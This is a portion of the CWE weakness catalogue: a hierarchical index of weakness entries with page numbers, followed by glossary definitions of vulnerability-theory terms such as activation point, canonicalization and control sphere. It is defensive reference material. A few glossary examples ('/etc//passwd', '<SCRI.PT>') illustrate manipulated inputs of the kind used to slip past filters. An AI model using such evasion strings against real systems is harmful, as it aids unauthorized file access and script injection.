    - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p. 885)*
    - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p. 906)*
  - CWE-821: Incorrect Synchronization *(p. 1253)*
    - CWE-572: Call to Thread run() instead of start() *(p. 912)*
    - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p. 914)*
- CWE-670: Always-Incorrect Control Flow Implementation *(p. 1040)*
  - CWE-480: Use of Incorrect Operator *(p. 811)*
    - CWE-481: Assigning instead of Comparing *(p. 813)*
    - CWE-482: Comparing instead of Assigning *(p. 816)*
    - CWE-597: Use of Wrong Operator in String Comparison *(p. 940)*
  - CWE-483: Incorrect Block Delimitation *(p. 817)*
  - CWE-484: Omitted Break Statement in Switch *(p. 819)*
  - CWE-617: Reachable Assertion *(p. 966)*
  - CWE-698: Execution After Redirect (EAR) *(p. 1082)*
  - CWE-783: Operator Precedence Logic Error *(p. 1203)*
- CWE-696: Incorrect Behavior Order *(p. 1080)*
  - CWE-179: Incorrect Behavior Order: Early Validation *(p. 345)*
    - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p. 347)*
    - CWE-181: Incorrect Behavior Order: Validate Before Filter *(p. 349)*
  - CWE-408: Incorrect Behavior Order: Early Amplification *(p. 708)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p. 891)*
- CWE-705: Incorrect Control Flow Scoping *(p. 1108)*
  - CWE-248: Uncaught Exception *(p. 439)*
    - CWE-600: Uncaught Exception in Servlet *(p. 943)*
  - CWE-382: J2EE Bad Practices: Use of System.exit() *(p. 662)*
  - CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p. 681)*
  - CWE-396: Declaration of Catch for Generic Exception *(p. 683)*
  - CWE-397: Declaration of Throws for Generic Exception *(p. 684)*
  - CWE-455: Non-exit on Failed Initialization *(p. 771)*
  - CWE-584: Return Inside Finally Block *(p. 926)*
  - CWE-698: Execution After Redirect (EAR) *(p. 1082)*
- CWE-749: Exposed Dangerous Method or Function *(p. 1141)*
  - CWE-618: Exposed Unsafe ActiveX Method *(p. 968)*
  - CWE-782: Exposed IOCTL with Insufficient Access Control *(p. 1202)*
- CWE-768: Incorrect Short Circuit Evaluation *(p. 1176)*
- CWE-799: Improper Control of Interaction Frequency *(p. 1229)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p. 542)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p. 1280)*
- CWE-834: Excessive Iteration *(p. 1276)*
  - CWE-606: Unchecked Input for Loop Condition *(p. 954)*

- CWE-674: Uncontrolled Recursion *(p. 1044)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p. 1193)*
- CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p. 1277)*
- CWE-841: Improper Enforcement of Behavioral Workflow *(p. 1288)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p. 173)*
  - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p. 177)*
  - CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p. 181)*
    - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p. 183)*
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p. 184)*
- CWE-693: Protection Mechanism Failure *(p. 1077)*
  - CWE-179: Incorrect Behavior Order: Early Validation *(p. 345)*
    - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p. 347)*
    - CWE-181: Incorrect Behavior Order: Validate Before Filter *(p. 349)*
  - CWE-182: Collapse of Data into Unsafe Value *(p. 350)*
  - CWE-183: Permissive Whitelist *(p. 352)*
    - CWE-942: Overly Permissive Cross-domain Whitelist *(p. 1371)*
  - CWE-184: Incomplete Blacklist *(p. 352)*
  - CWE-20: Improper Input Validation *(p. 18)*
    - CWE-105: Struts: Form Field Without Validator *(p. 198)*
    - CWE-106: Struts: Plug-in Framework not in Use *(p. 201)*
    - CWE-108: Struts: Unvalidated Action Form *(p. 204)*
    - CWE-109: Struts: Validator Turned Off *(p. 205)*
    - CWE-112: Missing XML Validation *(p. 210)*
    - CWE-114: Process Control *(p. 215)*
    - CWE-129: Improper Validation of Array Index *(p. 258)*
    - CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework *(p. 893)*
    - CWE-606: Unchecked Input for Loop Condition *(p. 954)*
    - CWE-622: Improper Validation of Function Hook Arguments *(p. 972)*
    - CWE-626: Null Byte Interaction Error (Poison Null Byte) *(p. 976)*
    - CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code *(p. 1200)*
    - CWE-789: Uncontrolled Memory Allocation *(p. 1215)*
    - CWE-680: Integer Overflow to Buffer Overflow *(p. 1059)*
    - CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p. 1073)*
    - CWE-692: Incomplete Blacklist to Cross-Site Scripting *(p. 1076)*
  - CWE-284: Improper Access Control *(p. 500)*
    - CWE-269: Improper Privilege Management *(p. 478)*
      - CWE-250: Execution with Unnecessary Privileges *(p. 441)*
      - CWE-266: Incorrect Privilege Assignment *(p. 472)*
        - CWE-520: .NET Misconfiguration: Use of Impersonation *(p. 864)*
        - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation *(p. 894)*
        - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p. 7)*
      - CWE-267: Privilege Defined With Unsafe Actions *(p. 474)*
        - CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p. 973)*
      - CWE-268: Privilege Chaining *(p. 476)*
      - CWE-270: Privilege Context Switching Error *(p. 480)*
      - CWE-271: Privilege Dropping / Lowering Errors *(p. 481)*
        - CWE-272: Least Privilege Violation *(p. 483)*
        - CWE-273: Improper Check for Dropped Privileges *(p. 486)*
      - CWE-274: Improper Handling of Insufficient Privileges *(p. 488)*
      - CWE-648: Incorrect Use of Privileged APIs *(p. 1006)*
    - CWE-282: Improper Ownership Management *(p. 498)*
      - CWE-283: Unverified Ownership *(p. 499)*

- CWE-708: Incorrect Ownership Assignment *(p. 1111)*
- CWE-285: Improper Authorization *(p. 502)*
  - CWE-219: Sensitive Data Under Web Root *(p. 412)*
    - CWE-433: Unparsed Raw Web Content Delivery *(p. 743)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p. 1124)*
    - CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag *(p. 1415)*
    - CWE-276: Incorrect Default Permissions *(p. 491)*
    - CWE-277: Insecure Inherited Permissions *(p. 493)*
    - CWE-278: Insecure Preserved Inherited Permissions *(p. 494)*
    - CWE-279: Incorrect Execution-Assigned Permissions *(p. 495)*
    - CWE-281: Improper Preservation of Permissions *(p. 497)*
    - CWE-689: Permission Race Condition During Resource Copy *(p. 1072)*
      - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p. 628)*
      - CWE-732: Incorrect Permission Assignment for Critical Resource *(p. 1124)*
  - CWE-862: Missing Authorization *(p. 1303)*
    - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
    - CWE-638: Not Using Complete Mediation *(p. 988)*
      - CWE-424: Improper Protection of Alternate Path *(p. 728)*
        - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
    - CWE-639: Authorization Bypass Through User-Controlled Key *(p. 990)*
      - CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key *(p. 905)*
    - CWE-939: Improper Authorization in Handler for Custom URL Scheme *(p. 1366)*
  - CWE-863: Incorrect Authorization *(p. 1308)*
    - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p. 891)*
    - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p. 1004)*
    - CWE-804: Guessable CAPTCHA *(p. 1233)*
  - CWE-926: Improper Export of Android Application Components *(p. 1356)*
  - CWE-927: Use of Implicit Intent for Sensitive Communication *(p. 1359)*
- CWE-286: Incorrect User Management *(p. 508)*
  - CWE-842: Placement of User into Incorrect Group *(p. 1290)*
- CWE-287: Improper Authentication *(p. 508)*
  - CWE-261: Weak Cryptography for Passwords *(p. 465)*
  - CWE-262: Not Using Password Aging *(p. 467)*
  - CWE-263: Password Aging with Long Expiration *(p. 468)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p. 513)*
    - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
  - CWE-289: Authentication Bypass by Alternate Name *(p. 514)*
  - CWE-290: Authentication Bypass by Spoofing *(p. 516)*
    - CWE-291: Reliance on IP Address for Authentication *(p. 518)*
    - CWE-293: Using Referer Field for Authentication *(p. 520)*
    - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*
  - CWE-294: Authentication Bypass by Capture-replay *(p. 521)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p. 533)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p. 535)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p. 536)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p. 537)*
  - CWE-306: Missing Authentication for Critical Function *(p. 538)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p. 542)*
  - CWE-308: Use of Single-factor Authentication *(p. 545)*
  - CWE-309: Use of Password System for Primary Authentication *(p. 546)*
  - CWE-521: Weak Password Requirements *(p. 864)*
    - CWE-258: Empty Password in Configuration File *(p. 459)*
  - CWE-522: Insufficiently Protected Credentials *(p. 865)*

- CWE-256: Plaintext Storage of a Password *(p. 455)*
- CWE-257: Storing Passwords in a Recoverable Format *(p. 457)*
- CWE-260: Password in Configuration File *(p. 464)*
  - CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p. 11)*
  - CWE-258: Empty Password in Configuration File *(p. 459)*
- CWE-523: Unprotected Transport of Credentials *(p. 868)*
- CWE-549: Missing Password Field Masking *(p. 890)*
- CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p. 894)*
- CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p. 935)*
- CWE-603: Use of Client-Side Authentication *(p. 952)*
- CWE-613: Insufficient Session Expiration *(p. 962)*
- CWE-620: Unverified Password Change *(p. 969)*
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p. 991)*
- CWE-645: Overly Restrictive Account Lockout Mechanism *(p. 1002)*
- CWE-798: Use of Hard-coded Credentials *(p. 1223)*
  - CWE-259: Use of Hard-coded Password *(p. 460)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p. 566)*
- CWE-804: Guessable CAPTCHA *(p. 1233)*
- CWE-836: Use of Password Hash Instead of Password for Authentication *(p. 1279)*
- CWE-384: Session Fixation *(p. 665)*
  - CWE-346: Origin Validation Error *(p. 603)*
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p. 755)*
  - CWE-472: External Control of Assumed-Immutable Web Parameter *(p. 795)*
- CWE-346: Origin Validation Error *(p. 603)*
- CWE-923: Improper Restriction of Communication Channel to Intended Endpoints *(p. 1354)*
  - CWE-291: Reliance on IP Address for Authentication *(p. 518)*
  - CWE-297: Improper Validation of Certificate with Host Mismatch *(p. 526)*
  - CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') *(p. 531)*
  - CWE-322: Key Exchange without Entity Authentication *(p. 568)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*
  - CWE-419: Unprotected Primary Channel *(p. 724)*
  - CWE-420: Unprotected Alternate Channel *(p. 725)*
    - CWE-421: Race Condition During Access to Alternate Channel *(p. 726)*
    - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p. 727)*
  - CWE-925: Improper Verification of Intent by Broadcast Receiver *(p. 1355)*
  - CWE-940: Improper Verification of Source of a Communication Channel *(p. 1368)*
  - CWE-941: Incorrectly Specified Destination in a Communication Channel *(p. 1370)*
- CWE-942: Overly Permissive Cross-domain Whitelist *(p. 1371)*
- CWE-295: Improper Certificate Validation *(p. 522)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p. 525)*
  - CWE-297: Improper Validation of Certificate with Host Mismatch *(p. 526)*
  - CWE-298: Improper Validation of Certificate Expiration *(p. 528)*
  - CWE-299: Improper Check for Certificate Revocation *(p. 530)*
    - CWE-370: Missing Check for Certificate Revocation after Initial Check *(p. 650)*
  - CWE-599: Missing Validation of OpenSSL Certificate *(p. 942)*
- CWE-311: Missing Encryption of Sensitive Data *(p. 549)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p. 555)*
    - CWE-313: Cleartext Storage in a File or on Disk *(p. 557)*
    - CWE-314: Cleartext Storage in the Registry *(p. 559)*
    - CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p. 559)*
    - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p. 560)*
    - CWE-317: Cleartext Storage of Sensitive Information in GUI *(p. 561)*
    - CWE-318: Cleartext Storage of Sensitive Information in Executable *(p. 562)*

- CWE-319: Cleartext Transmission of Sensitive Information *(p. 563)*
  - CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption *(p. 2)*
- CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute *(p. 963)*

- CWE-326: Inadequate Encryption Strength *(p. 573)*
  - CWE-261: Weak Cryptography for Passwords *(p. 465)*
  - CWE-328: Reversible One-Way Hash *(p. 579)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p. 574)*
  - CWE-208: Information Exposure Through Timing Discrepancy *(p. 396)*
  - CWE-328: Reversible One-Way Hash *(p. 579)*
  - CWE-780: Use of RSA Algorithm without OAEP *(p. 1199)*
  - CWE-916: Use of Password Hash With Insufficient Computational Effort *(p. 1345)*
    - CWE-759: Use of a One-Way Hash without a Salt *(p. 1156)*
    - CWE-760: Use of a One-Way Hash with a Predictable Salt *(p. 1160)*
- CWE-345: Insufficient Verification of Data Authenticity *(p. 601)*
  - CWE-346: Origin Validation Error *(p. 603)*
  - CWE-347: Improper Verification of Cryptographic Signature *(p. 606)*
  - CWE-348: Use of Less Trusted Source *(p. 607)*
  - CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p. 608)*
  - CWE-351: Insufficient Type Distinction *(p. 611)*
  - CWE-353: Missing Support for Integrity Check *(p. 617)*
  - CWE-354: Improper Validation of Integrity Check Value *(p. 619)*
  - CWE-360: Trust of System Event Data *(p. 626)*
    - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p. 727)*
  - CWE-616: Incomplete Identification of Uploaded File Variables (PHP) *(p. 965)*
  - CWE-646: Reliance on File Name or Extension of Externally-Supplied File *(p. 1003)*
  - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p. 1008)*
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p. 1354)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p. 612)*
    - CWE-346: Origin Validation Error *(p. 603)*
    - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p. 755)*
    - CWE-613: Insufficient Session Expiration *(p. 962)*
    - CWE-642: External Control of Critical State Data *(p. 995)*
- CWE-357: Insufficient UI Warning of Dangerous Operations *(p. 622)*
  - CWE-450: Multiple Interpretations of UI Input *(p. 764)*
- CWE-358: Improperly Implemented Security Check for Standard *(p. 622)*
- CWE-424: Improper Protection of Alternate Path *(p. 728)*
  - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
- CWE-602: Client-Side Enforcement of Server-Side Security *(p. 949)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p. 903)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p. 1205)*
  - CWE-603: Use of Client-Side Authentication *(p. 952)*
- CWE-653: Insufficient Compartmentalization *(p. 1012)*
- CWE-654: Reliance on a Single Factor in a Security Decision *(p. 1014)*
  - CWE-308: Use of Single-factor Authentication *(p. 545)*
  - CWE-309: Use of Password System for Primary Authentication *(p. 546)*
- CWE-655: Insufficient Psychological Acceptability *(p. 1016)*
- CWE-656: Reliance on Security Through Obscurity *(p. 1017)*
- CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p. 1155)*
- CWE-778: Insufficient Logging *(p. 1196)*
- CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p. 1243)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p. 535)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*

- CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p. 1205)*
- CWE-697: Insufficient Comparison *(p. 1081)*
  - CWE-183: Permissive Whitelist *(p. 352)*
    - CWE-942: Overly Permissive Cross-domain Whitelist *(p. 1371)*
  - CWE-184: Incomplete Blacklist *(p. 352)*
  - CWE-185: Incorrect Regular Expression *(p. 355)*
    - CWE-186: Overly Restrictive Regular Expression *(p. 356)*
    - CWE-625: Permissive Regular Expression *(p. 975)*
      - CWE-777: Regular Expression without Anchors *(p. 1195)*
  - CWE-187: Partial Comparison *(p. 357)*
    - CWE-185: Incorrect Regular Expression *(p. 355)*
      - CWE-186: Overly Restrictive Regular Expression *(p. 356)*
      - CWE-625: Permissive Regular Expression *(p. 975)*
        - CWE-777: Regular Expression without Anchors *(p. 1195)*
    - CWE-839: Numeric Range Comparison Without Minimum Check *(p. 1283)*
  - CWE-372: Incomplete Internal State Distinction *(p. 652)*
  - CWE-478: Missing Default Case in Switch Statement *(p. 806)*
  - CWE-481: Assigning instead of Comparing *(p. 813)*
  - CWE-486: Comparison of Classes by Name *(p. 822)*
  - CWE-595: Comparison of Object References Instead of Object Contents *(p. 938)*

        - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling *(p. 1191)*
        - CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime *(p. 1192)*
    - CWE-404: Improper Resource Shutdown or Release *(p. 700)*
    - CWE-405: Asymmetric Resource Consumption (Amplification) *(p. 704)*
      - CWE-407: Algorithmic Complexity *(p. 707)*
    - CWE-415: Double Free *(p. 718)*
    - CWE-416: Use After Free *(p. 720)*
  - CWE-476: NULL Pointer Dereference *(p. 800)*
- CWE-485: Insufficient Encapsulation *(p. 820)*
  - CWE-749: Exposed Dangerous Method or Function *(p. 1141)*

- CWE-2: Environment *(p. 1)*
  - CWE-435: Interaction Error *(p. 750)*
    - CWE-436: Interpretation Conflict *(p. 751)*
      - CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') *(p. 758)*

Glossary

Activation Point a vulnerability theory term for the location in code at an attacker's "payload" can be executed, i.e. when the attacker has caused the code to violate the intended security policy. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

Actor a vulnerability theory term that describes an entity that interacts with the software or with other entities, such as a User, Service, Monitor (e.g. IDS), Intermediary, and others.

Attacker an actor who attempts to gain access to behaviors or resources that are outside of the software's intended control sphere for that actor.

Authentication the process of verifying that an actor has a specific real-world identity, typically by checking for information that the software assumes can only be produced by that actor. This is different than authorization, because authentication focuses on verifying the identity of the actor, not what resources the actor can access.

Authorization the process of determining whether an actor with a given identity is allowed to have access to a resource, then granting access to that resource, as defined by the implicit and explicit security policies for the system. This is different than authentication, because authorization focuses on whether a given actor can access a given resource, not in proving what the real-world identity of the actor is.

Base Weakness a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.

Behavior an action that the software takes, typically as implemented in code or as represented by an algorithm. Could also refer to actions by other actors that are not the system.

Canonicalization a behavior that converts or reduces an input/output to a single fixed form that cannot be converted or reduced any further. In cases in which the input/output is used as an identifier, canonicalization refers to the act of converting that identifier. For example, when the current working directory is "/users/cwe," the filename "../xyz" can be canonicalized to "/users/xyz."

Canonicalize to perform Canonicalization.

Category a CWE entry that contains a set of other entries that share a common characteristic.

Chain a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. For example, in the named chain CWE-691, an integer overflow (CWE-190) can lead to a buffer overflow (CWE-120) if an integer overflow occurs while calculating the amount of memory to allocate. In this case, the integer overflow would be primary to the buffer overflow. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.

Check in the vulnerability theory model of error handling, to examine a resource, its properties, or the system state to determine if they align with the expectations of the software.

Class Weakness a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.

Cleanse Use of this term is discouraged in names and descriptions for CWE weaknesses, since it has too many different meanings in the industry and may cause mapping errors. It is not precise enough for CWE's purpose. This decision was made in CWE 1.9. Some entries may still use this term, but they will be modified in future versions.

Cleansing This term is discouraged for use in CWE.

Cleartext Any information that is unencrypted, although it might be in an encoded form that is not easily human-readable, such as base64 encoding. Some people use the "plaintext" term to mean the same thing, but "plaintext" has a more precise meaning within cryptography.

Composite a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. For example, Symlink Following (CWE-61) is only possible through a combination of several component weaknesses, including predictability (CWE-340), inadequate permissions (CWE-275), and race conditions (CWE-362). By eliminating any single component, a developer can prevent the composite from becoming exploitable. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability; for example, NUL byte interaction errors (CWE-626) can widen the scope of path traversal weaknesses (CWE-22), which often limit which files could be accessed due to idiosyncrasies in filename generation.

Compound Element an Entry that closely associates two or more CWE entries. The CWE team's research has shown that vulnerabilities often can be described in terms of the interaction or co-occurrence of two or more weaknesses. In CWE 1.0, the only types of compound elements are Chains and Composites, although other types might be defined in later versions.

Consequence a fault - a behavior that is always incorrect if executed, i.e., conflicts with the intended security policy.

Control Sphere a vulnerability theory term for a set of resources and behaviors that are accessible to a single actor, or a group of actors that all share the same security restrictions. This set can be empty. A product's security model will typically define multiple spheres, although this model might not be explicitly stated. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors. Vulnerabilities can arise when the boundaries of a control sphere are not properly enforced, or when a control sphere is defined in a way that allows more actors or resources than the developer or system operator intends. For example, an application might intend to allow guest users to access files that are only within a given directory, but a path traversal attack could allow access to files that are outside of that directory, which are thus outside of the intended sphere of control.

Crossover Point a vulnerability theory term for the location in code after which an expected property is violated. This is likely to lead to incorrect actions at a later point. For example, a programmer might use a regular expression to restrict an input string to contain only digits, such as for a telephone number. After applying the regular expression, the string is expected to have the property "only contains digits." If the regular expression is incorrectly specified (e.g. only testing for the presence of a digit anywhere in the string), then after its application, the code reaches a crossover point because the string does not necessarily have the property of "only contains digits." For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

CRUD acronym for "Create, Read, Update, Delete," a model for persistent storage of data that is similar to the resource model in vulnerability theory.

Enforce a general term, meaning to check or manipulate a resource so that it has a property that is required by the security policy. For example, the filtering of all non-alphanumeric characters from an input is one mechanism to enforce that "all characters are alphanumeric." An alternate method of enforcement would be to reject the input entirely if it contains anything that's non-alphanumeric.

Entry any type of item in the CWE list that has been assigned a unique identifier.

Equivalence a security property in which two identifiers, inputs, resources, or behaviors have syntactically different representations, but are ultimately treated as being the same. For example, in Windows systems, the filenames "MyFile.txt" and "MYFILE.TXT" are equivalent because they refer to the same underlying file object. The inability to recognize equivalence is often a factor in vulnerabilities.

Explicit Slice a Slice whose membership is determined by some external criterion that is represented using HasMember relationships between the view and those entries, but not between entries themselves. An example is CWE-635, which lists the CWE identifiers that being used by NVD.

Filter to perform Filtering.

Filtering the removal of elements from input or output based on some criteria. This term may apply to removal of elements regardless of security implications.

Graph a View that specifies relationships between entries, typically of a hierarchical nature. The root level nodes of the view are specified using HasMember relationships. Children are specified using ChildOf or other relationships.

Handle in the vulnerability theory model of error handling, to modify the execution of the software based on the results of a check for an error or exceptional condition.

ICTA Interaction/Crossover/Trigger/Activation, an acronym for the vulnerability theory terms for important locations in code artifacts.

Implicit Slice a Slice that defines its membership based on common characteristics of entries, such as weaknesses that can appear in C programs (CWE-658).

Improper used as a catch-all term to cover security behaviors that are either "Missing" or "Insufficient/Incorrect." Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

Incorrect a general term, used to describe when a behavior attempts to do a task but does not do it correctly. This is distinct from "Missing," in which the developer does not even attempt to perform the behavior. This is similar to "Insufficient." Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

Information Exposure the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

Insecure Use of this term is discouraged in names and descriptions for CWE weaknesses, since it does not provide any hint about the actual error that was introduced by the developer. Some unreviewed entries may still use this term, although it will be corrected in future versions of CWE. This is a general term used to describe a behavior that is incorrect and has security implications.

Insufficient a general term used to describe when a security property or behavior can vary in strength on a continuous or sliding scale, instead of a discrete scale. The continuous scale may vary depending on the context and risk tolerance. For example, the requirements for randomness may vary between a random selection for a greeting message versus the generation of a military-strength key. On the other hand, a weakness that allows a buffer overflow is always incorrect - there is not a sliding scale that varies across contexts. Note: this this term has been used inconsistently in CWE, although it was more clearly defined beginning in CWE 1.4.

Interaction Point a vulnerability theory term for the point in code from which input is obtained from the external environment. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

Internal used to describe a manipulation that occurs within an identifier or input, and not at the beginning or the end. This term is often used in conjunction with special elements. For example, the string "/etc//passwd" has multiple internal "/" characters, or "<SCRI.PT>" has an internal "." character.

Leading 1) used to describe a manipulation that occurs at the beginning of an identifier or input. This term is often used in conjunction with special elements. For example, the string "//etc/passwd" has multiple leading "/" characters. 2) used to describe the transition from a primary to resultant weakness in a chain

Loose Composite an informal term for describing a CWE entry that the general public thinks of as an individual weakness, but is actually a disjoint list of multiple distinct weaknesses - i.e., a narrowly-defined category. This is not well-handled within CWE 1.0, although it might be regarded as another kind of Compound Element. An example of a loose composite is "insecure temporary file" - the temporary file could have permissions problems, be used as a semaphore, be part of a race condition, etc.

Manipulation the modification of a resource by an actor, typically to change its properties. Usually used in the context of software as it manipulates inputs and system resources to ensure that security properties are enforced.

Missing used to describe a behavior that the developer has not attempted to perform. This is distinct from "incorrect," which describes when the developer attempts to perform the behavior, but does not do it correctly. Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

Mitigation the process of remediating a weakness, leaving the software in a more secure state.

Named Chain a Chain that appears so frequently in software that a CWE ID has been assigned to it, such as CWE-680 (Integer Overflow to Buffer Overflow).

Natural Hierarchy the term used in Draft 9 for the Research Concepts View (CWE-1000).

Neutralization a general term to describe the process of ensuring that input or output has certain security properties before it is used. This is independent of the specific protection mechanism that performs the neutralization. The term could refer to one or more of the following: filtering/cleansing, canonicalization/resolution, encoding/decoding, escaping/unescaping, quoting/unquoting, validation, or other mechanisms.

Neutralize to perform Neutralization.

Node another term for a CWE entry, especially used before CWE 1.0.

Permissions the explicit specifications for a resource, or a set of resources, that defines which actors are allowed to access that resource, and which actions may be performed by those actors. Permissions can contribute to the definition of one or more intended control spheres.

Pillar a top-level entry in the Research Concepts View (CWE-1000). Equivalent to "kingdoms" in Seven Pernicious Kingdoms.

Plaintext information that is used as the input to an encryption algorithm, which might contain already-encrypted text. Many people use the "plaintext" term to mean "unencrypted," and others may use "cleartext" to mean the same thing.

Primary Weakness a weakness that is an initial, critical error (root cause) that can expose other weaknesses later in execution of the software.

Property a vulnerability theory term for the security-relevant characteristic of an individual resource or behavior that is important to the system's intended security model, which might change over time. For example, user input is initially untrusted; after the system neutralizes the input, when the input is finally processed, it must be treated as trusted. This illustrates the Trustability property.

Protection Mechanism a vulnerability theory term for a set of behaviors that helps to enforce an implicit or explicit security policy for the software, such as an input validation routine.

Reliance a security-relevant assumption that a resource has a given property, which can lead to weaknesses if that property cannot be guaranteed. For example, an access control protection mechanism might use reverse DNS lookups (CWE-247) in an attempt to limit access to systems in a particular domain; however, this reliance on DNS introduces a weakness because DNS results can be spoofed.

Resolution the process of converting a resource identifier to a single, canonical form. For example, code that converts "/tmp/abc/../def.xyz" to "/tmp/def.xyz" is performing resolution on an identifier that is being used for a file resource.

Resolve to perform Resolution.

Resource a vulnerability theory term for an object or entity that is accessed or modified within the operation of the software, such as memory, CPU, files, or sockets. Resources can be system-level (memory or CPU), code-level (function or variable), or application-level (cookie or message).

Resultant Weakness a weakness that is only exposed to attack after another weakness has been exploited; an early link in a chain.

Sanitization Use of this term is discouraged in names and descriptions for CWE weaknesses, since it has too many different meanings in the industry and may cause mapping errors. It is not precise enough for CWE's purpose. This decision was made in CWE 1.8.1. Some entries may still use this term, but they will be modified in future versions. Similar terms in use in CWE may include "Neutralization," "Validation," "Encoding," and "Filtering."

Sanitize This term is discouraged for use in CWE.

SDLC Software Development Lifecycle.

